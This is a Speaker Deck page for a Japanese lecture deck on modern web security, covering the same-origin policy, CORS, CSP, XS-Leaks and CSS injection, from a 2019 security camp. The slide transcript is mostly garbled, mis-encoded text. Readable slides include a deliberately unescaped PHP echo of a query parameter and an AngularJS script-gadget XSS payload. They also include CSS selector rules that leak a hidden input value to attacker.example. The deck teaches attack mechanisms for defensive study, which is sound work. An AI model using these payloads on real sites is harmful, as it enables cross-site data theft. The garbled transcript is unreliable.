Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
体系的に学ぶモダン Web セキュリティ (#seccamp 全国大会 2019 B5) ...
Search
Takashi Yoneuchi
August 15, 2019
Research
47
22k
体系的に学ぶモダン Web セキュリティ (#seccamp 全国大会 2019 B5) / Learn Modern Web Security Systematically
セキュリティ・キャンプ全国大会 2019 開発と運用トラックで提供した講義の資料の一部です。誤りに気がついたら、ぜひ @y0n3uchy あるいは @lmt_swallow にお知らせください。
Takashi Yoneuchi
August 15, 2019
Tweet
Share
More Decks by Takashi Yoneuchi
See All by Takashi Yoneuchi
プロダクトセキュリティの「共通言語」を作る ― 技術教育と Policy as Code を例に / "Language" for Product Security
lmt_swallow
0
710
SREを以てセキュリティエンジニアリングを制す / SRE, Security Engineering, and You
lmt_swallow
5
2.9k
Eliminating ReDoS with Ruby 3.2
lmt_swallow
0
240
ソフトウェアサプライチェーンのこれから / Securing Software Supply Chain
lmt_swallow
1
240
AWSのセキュリティ管理をPolicy as Codeで加速する ― 最高のCSPM体験を目指して / Unleashing Policy as Code on AWS CSPM
lmt_swallow
3
2.2k
実践 SpiceDB - クライドネイティブ時代をサバイブできるパーミッション管理の実装を目指して / Practical SpiceDB
lmt_swallow
0
1.7k
Developer-First Security という考え方 / Introduction to Developer-First Security
lmt_swallow
6
9.2k
ちいさな Web ブラウザを作ってみよう(オンライン講義版) / Build Your Own Web Browser
lmt_swallow
18
11k
Go をセキュアに書き進めるための 「ガードレール」を整備しよう / Let's Build Security Guardrails For Your Go Programs!
lmt_swallow
4
5.5k
Other Decks in Research
See All in Research
Elix, CBI2024, スポンサードセッション, Molecular Glue研究の展望:近年の進展とAI活用の可能性
elix
0
130
リモートワークにおけるパッシブ疲労
matsumoto_r
PRO
7
4.9k
Optimal and Diffusion Transports in Machine Learning
gpeyre
0
990
AIトップカンファレンスからみるData-Centric AIの研究動向 / Research Trends in Data-Centric AI: Insights from Top AI Conferences
tsurubee
3
1.1k
テキストマイニングことはじめー基本的な考え方からメディアディスコース研究への応用まで
langstat
1
180
Weekly AI Agents News! 10月号 論文のアーカイブ
masatoto
1
480
研究を支える拡張性の高い ワークフローツールの提案 / Proposal of highly expandable workflow tools to support research
linyows
0
270
ダイナミックプライシング とその実例
skmr2348
3
560
データサイエンティストをめぐる環境の違い 2024年版〈一般ビジネスパーソン調査の国際比較〉
datascientistsociety
PRO
0
1k
医療支援AI開発における臨床と情報学の連携を円滑に進めるために
moda0
0
140
博士学位論文予備審査 / Scaling Telemetry Workloads in Cloud Applications: Techniques for Instrumentation, Storage, and Mining
yuukit
1
1.7k
The many faces of AI and the role of mathematics
gpeyre
1
1.6k
Featured
See All Featured
Thoughts on Productivity
jonyablonski
68
4.4k
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
20
2.4k
Typedesign – Prime Four
hannesfritz
40
2.5k
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
6
230
RailsConf & Balkan Ruby 2019: The Past, Present, and Future of Rails at GitHub
eileencodes
132
33k
RailsConf 2023
tenderlove
29
980
jQuery: Nuts, Bolts and Bling
dougneiner
63
7.6k
Intergalactic Javascript Robots from Outer Space
tanoku
270
27k
Facilitating Awesome Meetings
lara
51
6.2k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
160
15k
A Tale of Four Properties
chriscoyier
157
23k
[Rails World 2023 - Day 1 Closing Keynote] - The Magic of Rails
eileencodes
33
2k
Transcript
ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ηΩϡϦςΟɾΩϟϯϓશࠃେձ։ൃͱӡ༻τϥοΫ 5BLBTIJ:POFVDIJ !MNU@TXBMMPX !ZOVDIZ 'MBUU4FDVSJUZ *OD %FQBSUNFOUPG*OGPSNBUJPO4DJFODF 'BDVMUZPG4DJFODF UIF6OJWFSTJUZPG5PLZP
IUUQTTIJGUKTJOGP
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 5BLBTIJ:POFVDIJ ‣ !MNU@TXBMMPX !ZOVDIZ ‣ 8PSLJOHBU ‣ %FQBSUNFOUPG*OGPSNBUJPO4DJFODF
'BDVMUZ PG4DJFODF UIF6OJWFSTJUZPG5PLZP ‣ *ὑ8FC ‣ DUGCMFBEFS TFDDBNQTUB⒎ ‣ 54(EPEPEPEP ‣ 4FFIUUQTTIJGUKTJOGP
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ຊࢿྉͷ֓ཁ 4QFBLFS%FDLಡऀ͚ ‣ ຊߨٛͷࢿྉͱͯ͠ɺҎ ԼͷͭΛར༻͠·ͨ͠ɻ ‣ ࣄલֶशʜถ͕ݱࡏࣥ චதͷຊͷߘ
‣ ʜ͜ͷεϥΠυ ‣ ͜ͷεϥΠυɺࣥචதͷ ຊͰ·ͩॻ͚͍ͯͳ͍ͱ͜ ΖΛิ͏ͨΊͷͷͰ͢ɻ ‣ ͥͻຊͷެ։ ग़൛ Λ͓ ͪԼ͍͞ɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशࢿྉͷ࣍ͷͪΒΈͤ 4QFBLFS%FDLಡऀ͚
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ຊߨٛͷඪ ࠶ 8FCηΩϡϦςΟΛମܥతʹֶͿɺͱ ‣ 8FCΞϓϦέʔγϣϯͷ੬ऑੑ 42-J 99&
ֶ͔Δ ‣ ։ൃ࣌ʹؾʹ͖͢͜ͱɺ֓Ͷଞͷ։ൃͱ͕ࠜҰॹ ‣ ೖྗΛ৴༻͠ͳ͍ దͳݖݶཧ FUD ‣ ͔͠͠8FCಛ༗ͳύϥμΠϜֶͼʹ͍͘ ‣ ʮυΩϡϝϯτࢄҳ͍ͯ͠Δ͠ʜʯ ‣ ʮ༷ؒͷͭͳ͕Γݟ͑ͳ͍͠ʜʯ ‣ ຊߨٛͷඪجຊతͳ8FCηΩϡϦςΟͷύϥμΠϜΛֶͿ͜ͱ ‣ Ͳ͏͍͏ڥք͕Ҿ͔ΕΔ͖͔ʁ ‣ Ͳ͏͍͏ಈػ͔ΒɺͲΜͳ༷ɾ߈ܸ͕ग़͖͔ͯͨʁ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशͰͬͨ͜ͱ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ࣄલ՝1%' ‣ $IBQUFS8FCηΩϡϦςΟ֓ ‣ ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔
‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ ‣ 401 $034 944 $41 ‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ ‣ 5SBOTJFOU&YFDVUJPO"UUBDLTͷ͞ΘΓ 4JUF 4JUF*TPMBUJPO $03# $031 $0&1 $001 ‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशͰͬͨ͜ͱ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ࣄલ՝1%' ‣ $IBQUFS8FCηΩϡϦςΟ֓ ‣ ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔
‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ ‣ 401 $034 944 $41 ‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ ‣ 5SBOTJFOU&YFDVUJPO"UUBDL 4JUF 4JUF*TPMBUJPO $03# $031 $0&1 $001 ‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ Γ͗ͨ͢ ߨٛͰΖ͏ͱࢥͬͯͨ͜ͱ ͥΜͿͬͪΌͬͨʜ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF ࠓͷߨٛͰΔ͜ͱ ‣ *OUSPEVDUJPO NJO ‣ 401$034944
NJO ‣ 1PTU9448PSME NJO ‣ $44*OKFDUJPO NJO ‣ 94-FBLTBOE944FBSDI NJO ‣ 5SZ401944$IBMMFOHF NJO ‣ $44*OKFDUJPO$IBMMFOHF NJO ‣ 944FBSDI$IBMMFOHF NJO ‣ 3FDPO$IBMMFOHF NJO -FDUVSF $IBMMFOHF
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ΞΠεϒϨΠΫ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ౡͷதͰࣗݾհ͠·͠ΐ͏ બߨٛͳͷͰ ɻ ‣ ໊લʜِ໊ɾϋϯυϧωʔϜՄ
‣ ͖ͳ͜ͱʜݚڀͷͰɺৗͷͰɺΞχϝͷͰɻ ‣ ΛࣗવʹؚΊΔ͔ɺؚΊͳ͍͔ɻ ‣ ͕࣌ؒ༨ͬͨΒɺ಄ͷମૢ͕ͯΒɺҎԼΛΛ࠶ߟͯ͠ΈΑ͏ɻ ‣ 401 $034ͳͥඞཁͳͷͰ͠ΐ͏͔ɻ ‣ 944ͱ401ͷؔੑઆ໌Ͱ͖·͔͢ɻ ‣ $41Ͳ͏͍͏ʹର͠ɺͲͷΑ͏ͳޮྗΛͪ·͔͢ɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ҙࣄ߲ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ΄ͲΑ͍͍ͨͣΒ৺ͱɺͱͯΑ͍ྙཧ؍Λ࣋ͪ·͠ΐ͏ɻ ‣ 4/4Ͱຊߨٛͷ࣮گɾײΛπΠʔτ͢Δͷߏ͍·ͤΜɻ ‣ ͦͷࡍʹࡍʹɺͥͻҎԼͷλάΛ͚͍ͯͩ͘͞
‣ TFDDBNQTFDDBNQC ‣ ҙͨͩ͠ɺ͋͘·ͰྙཧతͳπΠʔτΛ৺͕͚͍ͯͩ͘͞ɻ ‣ ຊߨٛͷԋशͰɺҎԼͷϗετͷΈΛར༻͠·͢ɻ͜ΕҎ֎ͷϗ ετʹҰ߈ܸΛՃ͑ͳ͍Ͱ͍ͩ͘͞ɻ ‣ IBDRNF ‣ TIJGUKTJOGP
ࣄલֶशͷৼΓฦΓ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 8FCʹ͓͚Δڥքͷඞཁੑ ͳͥڥք͕Ҿ͔ΕΔ͖ͳͷͩΖ͏͔ ‣ υΩϡϝϯτؒͷίϛϡχέʔγϣϯʹҰͷ੍ݶ͕ͳ͚Εɺ߈ ܸऀগͳ͍εςοϓͰใΛϦʔΫͰ͖Δɻ ‣ FWJMDPN͕GFUDI FYBNQMFDPN
Λൃߦ͠ɺͦͷ݁ՌΛಡΉ͜ ͱ͕ग़དྷΔ߹ɺ߈ܸऀͲΜͳ͜ͱ͕Ͱ͖ΔͩΖ͏͔ɻ ‣ ͋Δ͍ɺFYBNQMFDPN͕MPDBM4UPSBHFʹอଘͨ͠ͷΛಡΊ ͨΒͲ͏͔ɻ http://evil.com ࣗ͠༝ʹ ಡΈॻ͖͕ग़དྷͨΒʁ http://example.com
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0SJHJO 3'$5IF8FC0SJHJO$PODFQU ‣ ͋Δ63*ʹରͯ͠ɺ0SJHJO࣍ͷUVQMFͱͯ͠ఆٛ͞ΕΔɻ VSJTDIFNF VSJIPTU VSJQPSU
‣ VSJTDIFNFFHIUUQ IUUQT ‣ VSJIPTUFHFYBNQMFDPN ‣ VSJQPSUFH ‣ VSJQPSU͕লུ͞Ε͍ͯΔ߹ɺVSJTDIFNFʹରԠͨ͠σϑΥϧτͷ ϙʔτ͕VSJQPSUͱͯ͠࠾༻͞ΕΔɻ IUUQFYBNQMFDPNTPNFQBUI
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4BNF0SJHJO1PMJDZ "OFYBNQMFPGGFBUVSFTCBTFEPO0SJHJO ‣ ֓ཁ4BNF0SJHJO1PMJDZ ‣ 401ҎԼΛېࢭ͢Δɻ ‣ $SPTT0SJHJOͳಡΈࠐΈ
‣ ྫGFUDIͷ݁Ռ ‣ $SPTT0SJHJOͳॻ͖ࠐΈ ͨͩ͠෦త ‣ ྫTJNQMFͰͳ͍ϦΫΤετൃߦͷ੍ݶ DG$034 ‣ 8FCϒϥβ͕࣋ͭ࠷ϕʔγοΫͳηΩϡϦςΟػߏͰ͋Δɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4DIXFOLFUBM 4BNF0SJHJO1PMJDZͷςετ ‣ ٙ 4DIXFOLFUBM
‣ 401%0. 401GPS%0. ɺϞμϯͳϒϥβʹ͓͍ͯɺͲͷΑ ͏ʹ࣮͞Ε͍ͯΔͷͩΖ͏͔ɻ ‣ 401%0.ʹؔͷ͋Δ)5.-ϚʔΫΞοϓͲΕ͔ɻ ‣ ༧ظ͞ΕΔ"$-ͱ࣮ࡍͷϒϥβͷڍಈϚον͍ͯ͠Δ͔ɻ ‣ ൴Βͷߩݙ ͷҰ෦ ‣ 401%0.ͷUFTUCFEΛߏஙͨ͠ɻIUUQZPVSTPQDPN ‣ ݕূ๏Λମܥతʹهड़͠ɺࠓ·ͰΤοδέʔεͩͬͨͷर͑Δ Α͏ʹͳͬͨɻ ‣ ݁ՌϒϥβؒͰͷࠩҟ͕ݟΒΕͨɻ ׂ߹ͳͲจࢀর
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $034 $SPTT0SJHJO3FTPVSDF4IBSJOH 0SJHJOʹجͮ͘ηΩϡϦςΟػߏͷྫ ‣ $SPTT0SJHJOͳϦιʔεΛਖ਼ͳ༻్Ͱར༻͍͍ͨͤͨ͠͞ ߹ʹͲ͏͢ΕΑ͍ͷͩΖ͏͔ɻ ‣
ղܾ$SPTT0SJHJO3FTPVSDF4IBSJOH ‣ ϦιʔεΛར༻͍ͨ͠ଆɺࣗͷ0SJHJOΛ0SJHJOϦΫΤετϔο μͷͱͯ͠ηοτ͠ɺϦΫΤετΛૹ৴͢Δɻ ‣ ϦιʔεΛఏڙ͢Δଆɺ"DDFTT$POUSPM"MMPX Ϩεϙϯεϔο μΛ௨ͯ͠ɺڐՄෆڐՄΛ͑Δɻ ‣ ϒϥβϨεϙϯεϔομΛݟͯɺదٓڐՄෆڐՄΛஅ͢Δɻ ‣ ৄࡉ$SPTT0SJHJO3FTPVSDF4IBSJOH $034 )551c.%/ IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC)551$034
&YFSDJTF 401$034 ඇެ։
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4JUF 0SJHJOΑΓMPPTFͳηΩϡϦςΟڥք ‣ 0SJHJOݫ͍͠ͷͰɺΑΓMPPTFͳ੍͕΄͍͠ɻ ‣ ղܾ4JUF ‣ 3FJTBOE(SJCCMF
4DIFNF F5-% ‣ 8)"58(F5-% ‣ ࠾༻ྫ ‣ 4JUF*TPMBUJPO3FJTBOE(SJCCMFͷͷ ‣ ࢀߟ$3FJT ".PTIDIVL BOE/0TLPW l4JUF*TPMBUJPO1SPDFTT 4FQBSBUJPOGPS8FC4JUFTXJUIJOUIF#SPXTFS zJO64&/*94FDVSJUZ 4ZNQPTJVN ‣ 4BNF4JUF$PPLJF $001 $0&1 8)"58(ͷͷ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ 4BNF0SJHJO1PMJDZʹΑΓɺ͋Δ0SJHJOͷͭσʔλɺͦͷ֎ ෦ͷ0SJHJO͔Β৮Εͳ͍ ˞ྫ֎͋Δ ɻ ‣
944ͦͷ੍ͷճආͩͱଊ͑ΒΕΔɻ ‣ ߈ܸऀ401ͷ੍Λड͚ͣʹ ର0SJHJOͷଆΛಈ͖ճΕΔ Origin A スクリプト挿⼊入 <?= $_GET['q'] ?>
&YFSDJTF 944 ඇެ։
1PTU944ͷੈքΛோΊΔ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦϑϨʔϜϫʔΫଆ 'PPMQSPPG "VUPFTDBQJOH FUD ‣ Ϟμϯͳ8FCϑϨʔϜϫʔΫϥΠϒϥϦͷଟ͕͘ɺ࣍ͷΑ͏ͳର ࡦΛఏڙ͍ͯ͠Δɻ ‣
جຊࣗಈͰΤεέʔϓ͢Δɻ ‣ ։ൃऀ͕ΤεέʔϓΛҙਤతʹແޮԽͰ͖Δ͕ɺةݥשى͢Δɻ ‣ FHEBOHFSPVTMZ4FU*OOFS)5.- <?= $_GET['q'] ?> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦ$41 $POUFOU4FDVSJUZ1PMJDZ ‣ ΞΠσΞ ‣ ։ൃऀɺ)5.-+4ͷͲͷ෦͕͕ࣗఏڙͨ͠ͷͰɺͲͷ෦ ͕ͦ͏Ͱͳ͍͔Λ͍ͬͯΔɻ ‣
*OKFDU͞ΕͯɺͦΕ͕F⒎FDUJWFͰ͑͞ͳ͚ΕΑ͍ɻ ‣ $41։ൃऀ͕ϒϥβʹ ؔ͢Δ0SJHJOਖ਼نͷ+4ͲΕ ͔ɺͳͲͷ ࣄલใΛ༩͑Δ͜ͱͰɺ$POUFOU*OKFDUJPO߈ܸΛ ͍Ͱ͍͜͏ɺͱ͍͏Έɻ Content-Security-Policy: script-src 'nonce-4g34...34r' <script nonce="4g34...34r">alert('Hello, CSP!')</script> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ Ͱ͖Δ͜ͱ $POUFOU4FDVSJUZ1PMJDZ ‣ 'FUDI%JSFDUJWFTϦιʔεͷऔಘɾར༻Λ੍ݶ ‣ ྫTDSJQUTSD GSBNFTSD
‣ %PDVNFOU%JSFDUJWFTυΩϡϝϯτͷ࣋ͭঢ়ଶͷૢ࡞Λ੍ݶ ‣ ྫCBTFVSJ TBOECPY ‣ /BWJHBUJPO%JSFDUJWFTφϏήʔγϣϯͷ੍ݶ ‣ ྫGPSNBDUJPO GSBNFBODFTUPST OBWJHBUFUP ‣ 3FQPSUJOH%JSFDUJWFT$41ҧͷϨϙʔτػೳΛ੍ݶ ‣ ྫSFQPSUVSJ SFQPSUUP ‣ ࣄલֶशͷ1%'ʹܰ͘ॻ͍ͨͷͰɺࡉ͔͍͠·ͤΜɻ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣮ࡍͷӡ༻ྫ $POUFOU4FDVSJUZ1PMJDZ ‣ $41Λಋೖ͍ͯ͠Δ8FCΞϓϦέʔγϣϯ૿͖͍͑ͯͯΔɻ ‣ 5XJUUFS (JU)VC 'BDFCPPL
4OBQDIBU ‣ 3FQPSUJOHΛ׆༻͍ͯ͠Δاۀ͋ΔΒ͍͠ɻ ‣ IUUQTUXJUUFSDPN)VTTFJ/%TUBUVT 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ؔ࿈ݚڀ $POUFOU4FDVSJUZ1PMJDZ ‣ ࠓͷ$41ʹࢸΔ·Ͱʹɺଟ͘ͷݚڀɾݕ౼͕ͳ͞Ε͖ͯͨɻ ‣ දతͳؔ࿈ݚڀ ‣ #&&1
+JNFUBM ‣ 40." 0EBFUBM ‣ /PODFTQBDFT 7BO(VOEZBOE$IFO ‣ ॳظͷ$41 4UBNNFUBM -FWFM -FWFM ‣ ए͍ࠒ #ͷ͜Ζ ʹॻ͍ͨεϥΠυͳͷͰগʑߥΓ͕ͩɺ͜ͷ εϥΠυʹ͜ͷؔ࿈ͷ·ͱΊͯ͋Δɻ ‣ IUUQTTIJGUKTJOGPQVCMJDBUJPOT$41QEG 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ల $POUFOU4FDVSJUZ1PMJDZ ‣ $41͕ංେԽɾෳࡶԽ͠ɺʮॏ͍ʯଘࡏʹͳ͖ͬͯͨɻ ‣ ۙ$41ͷऔΓѻ͏ྖҬ͕େ͖͘ͳͬͯ͠·ͬͨɻ ‣ ޙํޓੑ
CBDLXBSEDPNQBUJCJMJUZ Λอͭඞཁ͔Βɺଟ͘ͷ ͕ൃੜ͖ͯͨ͠ɻ ‣ ఏҊ$41ΛEJTKPJOUʹׂ͍ͨ͠ɻ ‣ .JLF8FTUࢯʹΑΔఏҊ ͱ͍͏͔ɺΞΠσΞ ‣ IUUQTHJUIVCDPNNJLFXFTUDTQOFYU ‣ ՝$41͕ࠓ๊͍͑ͯΔͱҰମԿͳͷ͔ɺͦΕΛड͚ͯࠓ ޙͲ͏ͳ͍ͬͯ͘ͱࢥΘΕΔ͔ɺߟ͑ͯΈΑ͏ɻ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦ944"VEJUPSܥ &YBNQMFTPG$MJFOUTJEF.JUJHBUJPOPG944 ‣ ࣹܕ 944Λϒϥβ͕ݕ ͯ͠ɺ͙ͨΊͷΈɻ
‣ 99441SPUFDUJPOϔομʹΑ ΓϞʔυ͕ܾΊΒΕΔ ‣ ແޮ ‣ pMUFS NPEFpMUFS ‣ CMPDL NPEFCMPDL ‣ ݱࡏ944"VEJUPSফ͑Δํ ʹਐΜͰ͍ΔɻDMBQ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 944ٕ๏ͷൃల 4DSJQU(BEHFUT301ͱಉ͡ߟ͑ํ ‣ $41ͷ͍ͤͰɺ͏·͘ҙ+4࣮ߦ·Ͱ͍͚࣋ͬͯͳ͍ɻ ‣ ղܾ4DSJQU(BEHFUT -FLJFTFUBM
‣ ΞΠσΞ$41Ͱ৴པ͞Ε͍ͯΔ0SJHJOԼͷ+4ɺ͢Ͱʹϩʔυ͞ Ε͍ͯΔ+4Λܦ༝ FHFWBMϑΝϛϦͷར༻ PSར༻͢Εɺҙ +4࣮ߦʹܨ͛ΒΕΔͷͰͳ͍͔ɻ ‣ DG%&1ʹର͢Δ3FUVSO0SJFOUFE1SPHSBNNJOH 301 3FUVSOUPMJCD <script src="https://ajax.googleapis.com/ajax/libs/ angularjs/1.0.8/angular.js"></script> <div ng-app ng-csp ng-mouseover=$event.view.alert('XSS')> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4DSJQUMFTT"UUBDLT +BWB4DSJQUΛར༻͠ͳ͍߈ܸ ‣ +4ΛΘͣʹͰ͖Δ߈ܸʹɺͲͷΑ͏ͳͷ͕͋Δ͔ɻ ‣ 944ରࡦ͍ͯͯ͠ɺͦΕҎ֎ҙࣝͷ֎Ͱ͋Δɺͱ͍͏߹͠ ͋͠ΔͨΊɺ͜Ε༗ӹͳɻ ‣
ఏҊ4DSJQUMFTT"UUBDLT )FJEFSJDIFUBM ͕ମܥత ‣ $44*OKFDUJPOʹؔͯ͠ɺ"UUSJCVUFSFBEJOH 'POUMJHBUVSF UFDIOJRVF GPOUSBOHFUFDIOJRVF ͷςΫχοΫ͕XFMMLOPXOɻ ‣ /FXSFTFBSDIMJOFSFDVSTJWFJNQPSUUFDIOJRVFT 1FQF7JMB IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG ‣ ͜ͷྨͷ߈ܸ͠͠ࢹ͞Ε͖ͯͨɻ ‣ $41पΓͷಈ͖Λ௨ͯ͠ɺΑΓΜʹ۷ΒΕΔΑ͏ʹͳ͖ͬͯͨҹɻ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 94-FBLT944FBSDI "UUBDLTBJNJOHUIFQPTU944XPSME ‣ ͦͦ$POUFOU*OKFDUJPO੬ऑੑ͕ͳ͍߹ʹɺ߈ܸऀԿ Β͔ͷ߈ܸΛߦ͏༨͕͋ΔͷͩΖ͏͔ɻ ‣ ΞΠσΞ͠ใͷશͳϦʔΫ͕ݫͯ͘͠ʜʜʁ ‣
$SPTT0SJHJO͔ΒͰಡΊΔใ͔ΒɺԿ͔ҙຯͷ͋ΔใΛ நग़Ͱ͖ͳ͍͔ɻ ‣ ͦͦಡ·ΕΔ͜ͱ͕ఆ͞Ε͍ͯͳ͍ใΛɺαΠυνϟω ϧͷ؍ଌΛ௨ͯ͠ಘΔ͜ͱ͕ग़དྷͳ͍͔ʁ ‣ ͜ͷΞΠσΞͷͱɺ$SPTTTJUF-FBLT 94-FBLT $SPTT TJUF4FBSDI 944FBSDI ͱݺΕΔྨ͕ొͨ͠ɻ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ༨ஊ Ξφϩδʔʁ ‣ ʮ%&1ʹର͢Δ301SFUMJCDʯͱʮ$41ʹର͢Δ4DSJQU (BEHFUTʯʁ ‣
ϋʔυΣΞ %&1/9CJUʹΑΔ࣮ߦՄೳྖҬͷϚʔΫ ‣ $41σΟϨΫςΟϒʹΑΔར༻ՄೳྖҬͷϚʔΫͱݟΕΔ ‣ ߏ͕ࣅͯ·͢Ͷɻ͔֬ʹಉ͡ΓޱͰ߈ܸΛݕ౼Ͱ͖Δɻ ‣ ྫ6TFBGUFS'SFF.BJM (SVTTFUBM ‣ %(SVTTFUBM l6TFBGUFS'SFF.BJM(FOFSBMJ[JOHUIFVTFBGUFSGSFFQSPCMFNBOEBQQMZJOHJUUPFNBJM TFSWJDFT z"4*"$$41SPD"$."TJB$POG$PNQVU$PNNVO4FDVS ‣ 6TF"GUFS'SFF 6"' ͷߟ͑ํΛҰൠԽͯ͠ணΛಘͨΒ͍͠ɻ ‣ %BOJFM(SVTTࢯͦͷपลͷํʑ͕͍ͬͯΔݚڀඇৗʹ໘ന͍ͷ ͰɺΥον͓ͯ͘͠ͱ͍͍͜ͱ͕͋Δ͔ɻ
$44*OKFDUJPO
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ લఏࣝ "UUSJCVUF3FBEJOH$44*OKFDUJPO ‣ ࣍ͷΑ͏ͳ)5.-λάΛߟ͑Α͏ɻ ‣ ͜Ε࣍ͷͭͷ$44ηϨΫλશͯʹϚον͢Δɻ ‣ ͜ΕΛԠ༻͢Δͱ
ଐੑΛMFBLՄೳɻ <input type="hidden" value="abc"> input[value ^= "a"] { /* ... */ } input[value ^= "ab"] { /* ... */ } input[value ^= "abc"] { /* ... */ }
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷߏ "UUSJCVUF3FBEJOH$44*OKFDUJPO input[value ^= "a"] {
background: url(http://attacker.example/?a) } /* ... */ ‘ 攻撃ベクタ リクエスト リーク 反射型 蓄積型 準備
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷݪཧ "UUSJCVUF3FBEJOH$44*OKFDUJPO ‣ ࣍ͷ)5.-λάͷWBMVFଐੑΛϦʔΫ͍ͨ͠߹Λߟ͑Δɻ ‣ ߈ܸऀɺ$44*OKFDUJPO͕Ͱ͖ΔॴʹɺҎԼͷΑ͏ͳ$44Λ܁ Γฦ͠ BΛC
D ͱม͑ͭͭ ૠೖ͍ͯ͘͠ɻ ‣ ߈ܸऀBUUBDLFSFYBNQMFͰͪड͚͓ͯ͘͜ͱͰɺWBMVFଐ ੑͷจࣈΛΔ͜ͱ͕Ͱ͖Δɻ <input type="hidden" value="abc"> input[value ^= "a"] { background: url(http://attacker.example/?a) }
&YFSDJTF "UUSJCVUF3FBEJOH ඇެ։
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ -JHBUVSF੍ޚʹΑΔϦʔΫ -JHBUVSF$44*OKFDUJPO ‣ ͜͜·Ͱʹհͨ͠"UUSJCVUF3FBEJOHͰɺλάͷଐੑ ͔͠ಡΊͳ͍ͷͰɺ߈ܸʹར༻Ͱ͖Δঢ়گ͕ݶΒΕ͍ͯΔɻ ‣ ղܾҎԼͷΑ͏ͳํ๏ʹΑΓɺଐੑҎ֎ಡΈग़ͤΔɻ ‣
ϑΥϯτͷ-JHBUVSF ϦΨνϟ Λར༻ͯ͠දࣔ͞ΕΔจࣈͷ෯ ͻ͍ ͯεΫϩʔϧόʔ Λ੍ޚ͢Δ ‣ εΫϩʔϧόʔ͕ੜͨ͡ͱ͖ʹ֎෦αʔόͱ௨৴ͤ͞Δ ‣ ิ)FJEFSJDIFUBM ͰΞΠσΞ͕ఏҊ͞Ε͍͕ͯͨɺ1P$ ͕ެ։͞Εͨͷ#FOULPXTLJ ͝Ζ͕ॳΊ͔ͯɻ フォント制御 スクロールバー制御 攻撃ベクタ = +
